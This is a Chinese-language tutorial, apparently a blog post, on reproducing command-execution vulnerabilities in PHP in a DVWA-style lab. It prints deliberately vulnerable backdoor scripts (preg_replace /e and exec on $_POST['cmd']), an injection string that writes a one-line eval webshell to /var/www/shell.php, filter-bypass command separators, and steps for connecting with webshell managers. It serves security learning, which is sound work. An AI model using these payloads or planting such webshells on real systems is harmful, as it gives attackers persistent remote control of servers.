命令执行漏洞复现攻击:识别威胁并加强安全

环境准备

这篇文章旨在用于网络安全学习,请勿进行任何非法行为,否则后果自负。

一、攻击相关介绍

原理

  • 主要是输入验证不严格、代码逻辑错误、应用程序或系统中缺少安全机制等。攻击者可以通过构造特定的输入向应用程序或系统注入恶意代码,从而在受攻击的主机上执行任意命令。

使用方法

  • 通过Web应用程序的输入字段注入恶意命令,例如在表单、URL参数、HTTP头等中注入恶意命令。
  • 利用操作系统的命令执行函数或系统调用,执行攻击者构造的恶意命令。
  • 利用应用程序的漏洞,例如文件上传功能,上传恶意文件并执行其中的命令。

使用前提

  • 目标应用程序存在命令执行漏洞,即没有对用户输入进行正确的过滤、验证或转义。
  • 攻击者能够与目标应用程序进行交互,例如能够提交表单、发送请求等。
  • 攻击者能够构造恶意输入并将其注入到应用程序中。

常见的命令执行类型:

  1. 远程命令执行(Remote Command Execution):攻击者通过远程发送恶意请求或利用应用程序的漏洞,成功地执行远程系统命令。这种类型的漏洞通常涉及网络通信和远程执行代码。

  2. 本地命令执行(Local Command Execution):攻击者通过直接访问受影响系统,利用应用程序的漏洞执行本地系统命令。这种类型的漏洞通常涉及身份验证绕过或本地文件包含等问题。

  3. 代码注入(Code Injection):攻击者通过向应用程序输入注入恶意代码来实现执行任意命令的目的。常见的代码注入包括SQL注入、OS命令注入和LDAP注入等。

  4. 命令拼接(Command Concatenation):攻击者通过利用应用程序对命令字符串的错误处理,将恶意命令与原始命令拼接在一起,导致执行恶意操作。常见的拼接方式包括使用特殊字符、绕过命令过滤等手法。

二、攻击复现

远程代码执行 - preg_replace函数示例

在php的www目录下创建一个preg_replace.php文件,内容如下:

php 复制代码
<?php preg_replace("/test/e",$_POST["cmd"],"just test");?>

然后使用工具连接,菜刀、蚁剑、或浏览器插件都可以

都连接上了,想干嘛就干嘛

远程系统命令执行

在php的www目录下创建一个exec.php文件,内容如下:

php 复制代码
<?php 
  $cmd=$_POST['cmd'];
  @exec($cmd,$return);  // 执行$cmd,并把结果给数组$return
  var_dump($return)       // 输出$return
?>

或者在DVWA靶场上复现

如:127.0.0.1&&ipconfig (ipconfig是查看主机的ip信息)

通过命令执行写入一句话马

攻击payload

sql 复制代码
127.0.0.1 | echo "<?php @eval(\$_POST[\"cmd\"])?>" > /var/www/shell.php

这个命令的目的是在服务器上创建一个名为 shell.php 的文件,其中包含 PHP 代码。让我们逐步分析该命令:

  • 127.0.0.1: 这是一个IP地址(本地回环地址),代表要连接的目标主机。

  • |:管道符号,用于将前一个命令的输出作为后一个命令的输入。

  • echo "<?php @eval(\$_POST[\"cmd\"])?>": 这是一个echo命令,它将字符串 <?php @eval(\$_POST["cmd"])?> 输出到标准输出。

  • >:重定向操作符,将前一个命令的输出写入到后一个命令指定的文件中。

  • /var/www/shell.php:这是目标文件路径,表示要将输出写入到 /var/www/ 目录下的名为 shell.php 的文件。

综上所述,如果成功执行此命令,则会在服务器的 /var/www/ 目录下创建一个名为 shell.php 的文件,并将 <?php @eval(\$_POST["cmd"])?> 的内容写入到该文件中。由于该PHP代码使用了 eval 函数,它会执行用户在 POST 请求(通过 cmd 参数)中输入的命令。

下面是一些常见的命令连接符及其作用:(如果管道符"|"被过滤了就可以使用其他的代替)
  1. &:将两个命令并行执行,无论前一个命令是否成功。

  2. &&:只有当前一个命令成功执行时,才会执行后一个命令。

  3. |:将前一个命令的输出作为后一个命令的输入。

  4. ||:只有当前一个命令执行失败时,才会执行后一个命令。

复现
在靶机中查看木马文件

最后就能在靶机看到我们的文件了,我们的文件保存在/var/www/目录下,查看方法:

  • cd /var/www/ -> ls # 之后就能看到/var/www/下的文件信息

我跟喜欢使用xfp 7与xshell 7来输入命令与查看文件

使用蚁剑或菜刀连接木马

成功进入目标文件管理界面,攻击复现成功

注意:虽然我们的shell.php木马文件存放在/var/www/目录下,但是我们连接只需要使用靶机IP+文件名即可。因为Web服务器已经将根目录设置为 /var/www/,所以不需要在 URL 中显式指定该目录。只需使用 http://<IP地址>/文件名 的格式即可访问该文件。

相关推荐
2401_873479402 分钟前
SOC告警日志中IP归属不明怎么办?部署IP离线库三步提升响应效率
网络·网络协议·tcp/ip
云祺vinchin8 分钟前
《“医保影像云”基础规范》核心解读
安全·数据安全·容灾备份·国产化替代·医保影像云
Multipath71217 分钟前
多链路聚合 + 宽带自组网 + 卫星便携站,构筑应急通信“铁三角”乾元通多链路聚合路由破局“三断”绝境,重构应急通信生命线
网络·5g·安全·智能路由器·实时音视频
nVisual19 分钟前
机柜PDU安装位置与空间建模方案
大数据·网络·数据库·信息可视化·数据中心基础设施管理
许彰午1 小时前
09-媒体访问控制
网络
only-qi2 小时前
RAG 工作机制详解:构建高质量知识库的技术全流程
网络·人工智能·rag
见合八方2 小时前
【噪声系数】高偏SOA噪声系数测试方法
网络·自动化·soa·光通信·激光雷达·半导体光放大器
yydbjx2 小时前
KACHIE发圈更隐蔽,博容安可的侧键推杆是不是不如它?
安全·求救器·防身
小五传输2 小时前
自主可控建设指南:Serv-u替代方案,实现平滑迁移业务不中断
大数据·运维·安全
internet Boy2 小时前
【第一章】计算机网络概论
网络